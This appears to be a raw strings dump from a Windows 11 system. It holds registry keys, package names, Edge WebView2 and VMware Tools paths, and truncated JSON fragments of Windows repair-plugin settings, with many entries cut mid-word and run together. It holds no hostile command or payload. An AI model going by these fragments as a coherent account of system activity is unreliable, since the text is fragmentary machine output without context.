MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\INetCookiesxyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0 \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0\0 \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 SMARTLOCKER://SMARTSCREENORIGINCLAIM \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\INetHistoryxyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0 \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DCB00007-570F-4A9B-8D69-199FDBA5723B} SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046} MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{BCD1DE7E-2DB1-418B-B047-4A74E101F8C1} MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\INetCookies\ESEy \Device\HarddiskVolume3\Windows\System32\Windows.Security.Authentication.Web.Core.dll MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{DCB00004-570F-4A9B-8D69-199FDBA5723B} SMARTLOCKER://SMARTSCREENORIGINCLAIM \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\suspend-vm-default.bat MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} SMARTLOCKER://SMARTSCREENORIGINCLAIM \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\suspend-vm-default.bat \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\suspend-vm-default.bat MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\suspend-vm-default.bat MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0\0 \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{8A40A45D-055C-4B62-ABD7-6D613E2CEAEC} MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\Interface\{2A1C9EB2-DF62-4154-B800-63278FCB8037} MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\suspend-vm-default.bat \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\suspend-vm-default.bat \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\suspend-vm-default.bat \Device\HarddiskVolume3\Windows\apppatch\MergeSdbFilesSource\01DCA3237C6DC4C6.sysmain.sdb TOMATICCORRUPTIONREPAIRPLUGIN_MAXUPTIMETHRESHOLD":{"ValueName":"AutomaticCorruptionRepairPlugin_MaxUptimeThresho SHS-02242026-090644-7-1ff-26100.1.amd64fre.ge_release.240331-1435.etl E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 RD"},"BINARYHEALTHPLUGIN_IMPACTLEVEL":{"ValueName":"BinaryHealthPlugin_ImpactLevel","RegValueType":"REG_SZ"},"BI \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpCmdRun.exe \Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Serialization\v4.0_4.0.0.0__b77a5c561934e089 \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\NisSrv.exe REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_ACTIONLIMIT":{"ValueName":"DynamicProtectionPlugin_ActionLimit","RegValueTy- in_ManualRemediationIntervalInHours","RegValueType":"REG_DWORD"},"EDGEUPDATEREPAIRPLUGIN_ACTIONLIMIT":{"ValueNamZ C:\Users\job\AppData\Loc E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 nAttempts","RegValueType":"REG_DWORD"},"EDGEUPDATEREPAIR \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db UGIN_SERVERSKUBLOCK":{"Ve \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Background.TimeBroker.dll "ManualCorruptionRepairPlugin_MCRWaitAfterACRInDays","RegValueType":"REG_DWORD"},"MANUALCORRUPTIONREPAIRPLUGIN_M \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\AdSelectionAttestationsPreloaded N_INTERACTIVEONLY":{"ValueName":"NotificationManagerPlugin_InteractiveOnly","RegValueType":"REG_DWORD"},"NOTIFICX HRESHOLD":{"ValueName":"NoUsoScanPlugin_MinUptimeThreshold","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_ORDER": ueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_MAXUPTIMETHRESHOLD":{"ValueName":"ReserveRepairPlugin_MaxUptimeThresho \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\edge_feedback\camera_mf_trace.wprp "SCHEDULEDTASKSPLUGIN_RUNONMANAGED":{"ValueName":"ScheduledTasksPlugin_RunOnManaged","RegValueType":"REG_DWORD"} \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\26.017.0126.0002\FileCoAuth.exe tenanceMode","RegValueType":"REG_DWORD"},"SERVICEHEALTHPLUGIN_RUNONMANAGED":{"ValueName":"ServiceHealthPlugin_Ru ,"SERVICINGCLEANUPPLUGIN_PLUGINMAINTENANCEMODE":{"ValueName":"ServicingCleanupPlugin_PluginMaintenanceMode","Reg \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Extensions\external_extensions.json \??\C:\Users\job\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat ValueType":"REG_DWORD"},"STACKDATARESETPLUGIN_MAXDEFERRALPERIOD":{"ValueName":"StackDataResetPlugin_MaxDeferralP \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\identity_proxy\resources.pri \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\SmallLogoCopilot.png \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\SmallLogoBeta.png \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\resources.pri \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\MEIPreload\preloaded_data.pb ":{"ValueName":"TimeSyncPlugin_Enabled","RegValueType":"REG_DWORD"},"TIMESYNCPLUGIN_IMPACTLEVEL":{"ValueName":"T \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\LogoCanary.png \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\SmallLogoCanary.png PLUGIN_DETECTIONONLY":{"ValueName":"AutoInPlaceUpgradeInboxPlugin_DetectionOnly","RegValueType":"REG_DWORD"},"AU \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\LogoCopilotDev.png \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\SmallLogoDev.png \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\PdfPreview\PdfPreviewHandler.dll oxPlugin_ManualRemediationCampaignId","RegValueType":"REG_SZ"},"AUTOINPLACEUPGRADEINBOXPLUGIN_MAXMANUALREMEDIATI \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\SmallLogo.png \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\LogoCopilot.png \Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.26100.7824_none_b6a09a6f5242f736 ld","RegValueType":"REG_ \REGISTRY\MACHINE\SOFTWA windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy \Windows\assembly\NativeImages_v4.0.30319_32\System\dea0393078281e3e807a8f0684433db5\System.ni.dll.aux \Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\b7f46ecd62a3aa399275b2302e207290\mscorlib.ni.dll \Windows\assembly\NativeImages_v4.0.30319_32\System\dea0393078281e3e807a8f0684433db5\System.ni.dll ":{"ValueName":"ResetRep \Windows\assembly\NativeImages_v4.0.30319_32\System\b6e2a986346601fc8ac3c6853a10e199\System.ni.dll.aux \Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll \Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\c07dbfc3c6b4ad434eee98ecd8287f5b \REGISTRY\MACHINE\SOFTWA E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64Aer32 C:\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\System32\en-US\Windows.Security.Authentication.Web.Core.dll.mui C:\Windows\System32\svchost.exe CSkyDrive Class Name {090B42FF-7B26-4416-99B6-CB17896CF07C}-Personal C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\VMware\VMware Tools\suspend-vm-default.bat"" \Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings Users\job\AppData\Local\Micr E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db GSkyDrive marshaling window class {DF45B591-BDE6-4E3E-9563-2A1586D7961D} \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\elevated_tracing_service.exe C:\Windows\System32\svchost.exe \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\copilot_overlay_unscaled_images.pak C:\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\System32\Windows.System.UserProfile.DiagnosticsSettings.dll C:\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\System32\Windows.ApplicationModel.Background.TimeBroker.dll \Users\job\AppData\Local\mRemoteNG\mRemoteNG.exe_Url_pjpxdehxpaaorqg2thmuhl11a34i3ave\1.76.20.24615 C:\Windows\System32\svchost.exe \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthSSO.dll \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\microsoft_shell_integration.dll ":"S U:MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy!CortanaUI msedgewebview2.exe MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy U:MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy!CortanaUI msedgewebview2.exe MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM EG_DWORD"},"BINARYHEALTHPLUGIN_IMPACTLEVEL":{"ValueName":"BinaryHealthPlugin_ImpactLevel","RegValueType" MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Device\HarddiskVolume3\Windows\System32\Windows.Security.Authentication.Web.Core.dll ame":"DynamicProtectionPlugin_ActionLimit","RegValueType":"REG_DWORD"},"DYNAMICPROTECTIONPLUGIN_AUTOONLY MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\plugins\vmusr\vmtray.dll MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy =C:\Program Files\VMware\VMware Tools\plugins\vmusr\vmtray.dll SMARTLOCKER://SMARTSCREENORIGINCLAIM emediatiREPAIRPLUGIN_MANUALREMED \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\BHO\ie_to_edge_stub.exe MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Installer\copilot_setup.exe SMARTLOCKER://SMARTSCREENORIGINCLAIM \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\plugins\vmusr\vmtray.dll MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msvcp140_codecvt_ids.dll MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy Managed","RegValueType":"REG_DWORD"},"INPLACEUPGRADEPLUGIN_SERVERSKUBLOCK":{"ValueName":"InPlaceUpgradeP MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy U:MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy!CortanaUI msedgewebview2.exe MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Installer\msedge_7z.data MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy :{"ValueName":"ManualCorruptionRepairPlugin_MCRWaitAfterACRInDays","RegValueType":"REG_DWORD"},"MANUALCO SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\edge_game_assist\VERSIONwy SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy el","RegValueType":"REG_SZ"},"NOTIFICATIONMANAGERPLUGIN_INTERACTIVEONLY":{"ValueName":"NotificationManag \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\Logo.png SMARTLOCKER://SMARTSCREENORIGINCLAIM \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\145.0.3800.70.manifest MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM {"ValueName":"NoUsoScanPlugin_MinUptimeThreshold","RegValueType":"REG_DWORD"},"NOUSOSCANPLUGIN_ORDER":{" SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\prefs_enclave_x64.dllIM MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM :"ReserveRepairPlugin_MaxUptimeThreshold","RegValueType":"REG_DWORD"},"RESERVEREPAIRPLUGIN_MINUPTIMETHRE \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\sr-Cyrl-BA.pak \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\elevation_service.exes \REGISTRY\MACHINE\SYSTEM\ControlSet001\CONTROL\VIDEO\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0000 \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\webview2_integration.dll SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy ame":"ScheduledTasksPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"SCHEDULEDTASKSPLUGIN_RUNO MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\dual_engine_adapter_x64.dll SMARTLOCKER://SMARTSCREENORIGINCLAIM \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\delegatedWebFeatures.sccd \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\LogoBeta.png SMARTLOCKER://SMARTSCREENORIGINCLAIM gin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"SERVICEHEALTHPLUGIN_RUNONMANAGED":{"ValueName":" \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\vk_swiftshader_icd.jsoneen SMARTLOCKER://SMARTSCREENORIGINCLAIM \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\sr-Latn-RS.pak MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy ValueName":"ServicingCleanupPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"SERVICINGCLEANUPP MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\VisualElements\LogoDev.png MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\mip_protection_sdk.dll MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe.sig MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy ":"REG_DWORD"},"TIMESYNCPLUGIN_ENABLED":{"ValueName":"TimeSyncPlugin_Enabled","RegValueType":"REG_DWORD" \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\Locales\ca-Es-VALENCIA.pak MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\eventlog_provider.dllxyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedge_pwa_launcher.exe MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy lueName":"AutoInPlaceUpgradeInboxPlugin_ \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData State\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\c0280c46276faa33_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\c0280c46276faa33_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\c0280c46276faa33_1 \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-OneCore-LSA-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat WofCompressedData hreshold System.ni.dll urlmon.dll .26100.1_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\App.AppXdca9rykvbm0qn1fw9m2dbx828p2w3h8p.mca ctivatableClassId\App.AppX76q4xtxwbj16z0zkyp0pnwtt6m850rvk.mca srvcli.dll C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe System.ni.dll.aux iertutil.dll cryptsp.dll \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\App.AppXdca9rykvbm0qn1fw9m2dbx828p2w3h8p.mca \REGISTRY\MACHIN es\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\App.AppXea6epmb5w19sjwy9ckw8md46dm93nhkq.mca pX76q4xtxwbj16z0zkyp0pnw rsaenh.dll bcrypt.dll assembly GAC_MSIL System.Xml WORD"}," \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\758c16d90a2fe752_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\758c16d90a2fe752_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\758c16d90a2fe752_1 sksPlugin_Order","RegValueType":"REG_DWORD"},"SCHEDULEDTASKSPLUGIN_PLUGINMAINTENANCEMODE":{"ValueName":"ScheduledTasksPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"SCHEDUL \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\758c16d90a2fe752_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\758c16d90a2fe752_1 HealthPlugin_Order","RegValueType":"REG_DWORD"},"SERVICEHEALTHPLUGIN_PLUGINMAINTENANCEMODE":{"ValueName":"ServiceHealthPlugin_PluginMaintenanceMode","RegValueType":"REG_DWORD"},"SERVICEHEALTHP \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Network-Security-Core-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3915.cat \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.IrisService.AppX9vt1fs6dqgjpa4d1gsrdvr2kg9rrqk5d.mca \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service 